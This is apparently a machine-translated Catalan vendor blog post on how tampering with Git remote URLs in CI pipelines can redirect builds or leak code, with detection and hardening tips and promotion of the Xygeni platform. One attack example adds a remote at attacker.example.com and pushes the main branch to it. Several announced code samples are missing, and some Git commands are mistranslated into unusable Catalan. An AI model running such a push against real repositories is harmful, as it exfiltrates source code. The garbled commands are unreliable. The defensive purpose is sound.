El risc ocult darrere d'una simple ordre de Git
Per a la majoria de desenvolupadors, executar una ordre com ara git remote set-url origin sembla rutinari, només un pas més per mantenir la configuració de Git. Els scripts de CI també solen executar ordres com ara git remote set-url, Git set url for remote o Git remote add per fetch o push code durant les compilacions. Però aquí teniu el risc: si un atacant altera aquesta configuració (localment o a la CI), pot redirigir la vostra font a un repositori maliciós, interceptar credencials o injectar programari maliciós a la cadena de subministrament.
Exemple de com s'utilitza habitualment:
# Ús legítim
git remote estableix l'URL d'origen https://github.com/org/project.git
⚠️ Exemple insegur, només amb finalitats educatives. No l'utilitzeu en producció.
Assegurar la versió, fixar-la amb un pin i verificar l'origen del repositori
Per què? Si el control remot es canvia a un host controlat per un atacant, cada git fetch/git push posterior apunta a codi maliciós. Codifiqueu els orígens de confiança sempre que sigui possible i eviteu les URL dinàmiques no validades.
Com la manipulació remota compromet la compilació Pipeline
Una URL remota de Git modificada pot tenir conseqüències greus en l'automatització. pipelines on es confia implícitament en els scripts.
Escenari d'exemple:
- Un script de CI utilitza git remote set-url per reconfigurar els repositoris dinàmicament.
- S'injecta una variable d'entorn compromesa (per exemple, un token o una URL de repositori) a l'script.
- La compilació obté o envia codi a un repositori maliciós.
- L'atacant insereix portes del darrere o dependències manipulades.
⚠️ Exemple insegur, només amb finalitats educatives. No l'utilitzeu en producció.
Versió segura, valideu $REPO_URL abans d'utilitzar-la (verificació de llista blanca / xygeni).
Per què: Valida les URL de repositoris entrants amb una llista blanca mantinguda (o utilitza xygeni verify --git-origin) abans d'actuar-hi. Això impedeix que els atacants anul·lin les variables d'entorn per redirigir pipelines.
Detecció de canvis no autoritzats en la configuració remota
El Git no t'avisa quan es modifica un control remot. Monitorització proactiva de .git/config i són necessàries comprovacions d'integritat prèvies a la construcció.
Tècniques pràctiques de detecció
Inspeccioneu la configuració de Git:
git remote -vCompareu la sortida amb les URL esperades emmagatzemades en una línia de base segura.
Validar
.git/configintegritat:sha256sum .git/configCompareu la suma de verificació amb una línia de base fiable.
Validació basada en CI:
validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git
Nota educativa: No executeu comprovacions d'integritat ni ordres de verificació amb credencials de llarga durada exposades en registres o entorns no protegits. Utilitzeu credencials efímeres, secrets protegits i eviteu executar ordres de validació com a usuari privilegiat sempre que sigui possible.
Consell de detecció: Busca remots que apuntin a dominis no canònics (inesperats) .net, .io, adreces IP), noms remots duplicats o variables d'entorn que controlen les URL del repositori sense validació. La detecció precoç impedeix git set-url manipulació de construccions contaminants.
Assegurar els orígens del repositori amb Guardrails i validació hash
La prevenció significa aplicar controls estrictes sobre els repositoris a partir dels quals es crea. Guardrails inclouen la signatura, la validació hash i la restricció de qui pot modificar les variables de CI.
Pràctiques segures per a la integritat del repositori
Fixeu les URL dels repositoris i codifiqueu els orígens de confiança sempre que sigui possible:
Valida els hashes del repositori:
Verifiqueu que HEAD coincideixi amb un hash esperat abans de compilar.
⚠️ Exemple insegur, impressió de fitxes als registres (no s'utilitza en producció).
Versió segura, llegeix els secrets de la volta i no imprimeix mai
Mini llista de verificació: Gestió remota segura de Git
- Fer complir llistes blanques o verificació d'URL remotes.
- Valida la integritat de .git/config abans de les compilacions.
- Cal signatura commits i etiquetes.
- Restringeix qui pot modificar les variables d'entorn de CI.
- Registra les execucions de `git remote set-url` i `git remote add` per a l'auditoria.
Integració de la validació d'URL de conjunt remot de Git a CI/CD Pipelines
Afegeix guardrails i verificació automatitzada per aturar la manipulació remota al principi pipeline.
Exemple de barana: comproveu si hi ha comandaments a distància duplicats o no autoritzats
Enduriment contra la manipulació de la cadena de subministrament en entorns compartits
Els executors compartits i les ordres remotes permissives són d'alt risc. Eviteu les ordres que afegeixen ordres remotes no verificades durant l'execució de la tasca.
⚠️ Exemple insegur, afegint un atacant remot (no l'utilitzeu).
Versió segura, restringida a dominis validats i utilitzant –set-url només per a orígens aprovats
Nota: preferiu els executors efímers i eviteu les memòries cau compartides persistents entre tasques.
Nota sobre els executadors: utilitzeu executadors efímers i aïllats que es recreen per a cada tasca. Els discs o les memòries cau compartides poden persistir els fitxers manipulats entre compilacions.
Integració de l'URL del conjunt Git per a la validació remota a CI/CD Pipelines
Assegurar l'ús de git remote set-url no es tracta només de comprovacions manuals; es tracta d'automatització. Els fluxos de treball de DevSecOps moderns poden integrar la validació directament a CI/CD pipelines.
Exemple: Validació remota automatitzada de la integritat
Aquesta configuració garanteix que abans d'executar-se qualsevol compilació o desplegament, el pipeline valida:
- L'URL del repositori coincideix amb el valor esperat.
- Commit les signatures són vàlides.
- No s'han afegit comandaments remots inesperats amb git add remote.
Controls CI addicionals
- Pre-commit hooks: Comproveu que no hi hagi cap persona no autoritzada git remote set-url les ordres existeixen a commits.
- Aplicació de polítiques com a codi: definir els orígens permesos com a part de les polítiques controlades per versions.
- Rèplica de dependències: extreu codi de rèpliques internes verificades en lloc de fonts directes d'Internet.
Automatitzar aquestes comprovacions no només evita configuracions errònies, sinó que també detecta intents de manipulació de la cadena de subministrament abans que s'enviï el codi.
Enduriment contra la manipulació de la cadena de subministrament en entorns compartits
Els executors compartits o els entorns de CI efímers introdueixen riscos addicionals. Quan diverses compilacions comparteixen recursos, les ordres git remote set-url o git add remote es poden utilitzar com a arma per persistir remots maliciosos entre sessions.
Escenaris d'atac comuns
Un script de compilació compromès afegeix un nou control remot per enviar codi al repositori d'un atacant:
git afegeix una còpia de seguretat remota https://attacker.example.com/repo.git
git push còpia de seguretat principal
- Un altre projecte que s'executa al mateix agent CI obté dades d'aquest estat contaminat.
- Les dades sensibles com ara tokens o artefactes de compilació es filtren a través d'enviaments no autoritzats.
Mesures d'enduriment
- Corredors efímers: Reinicia els entorns de CI després de cada compilació.
- Aïllament de xarxa: Restringeix el trànsit de sortida als dominis aprovats.
- Privilegi mínim: Limitar els permisos per a les operacions de Git a pipelines.
- Signatura d'artefactes: Assegureu-vos que totes les sortides de compilació estiguin signades i verificades criptogràficament.
Combinant l'aïllament, la validació i la supervisió, els equips poden neutralitzar els atacs que exploten git set url per a la manipulació remota.
Validar, supervisar i automatitzar la confiança del repositori
Un sol `git remote set-url` mal utilitzat o un `git add remote` no verificat pot redirigir silenciosament tot el procés de compilació a un repositori controlat per un atacant. La línia entre la productivitat i el compromís en DevOps és més fina que mai, i atacs de programari a la cadena de subministrament explotar exactament això.
Per mantenir la confiança en el vostre pipelines:
- Validar els orígens dels repositoris contínuament.
- Fer complir commit i la signatura d'artefactes.
- Automatitzar controls d'integritat en cada etapa de CI/CD.
Plataformes com Xígeni ajudar els equips de DevSecOps a detectar configuracions incorrectes remotes, supervisar els límits de confiança dels repositoris i bloquejar els riscos de la cadena de subministrament derivats de l'ús indegut de Git, abans que els remots maliciosos tinguin l'oportunitat de desplegar codi.
Confia en el teu flux de treball, però verifica la font. Així és com evites que git remote set-url es converteixi en la teva propera bretxa de seguretat.





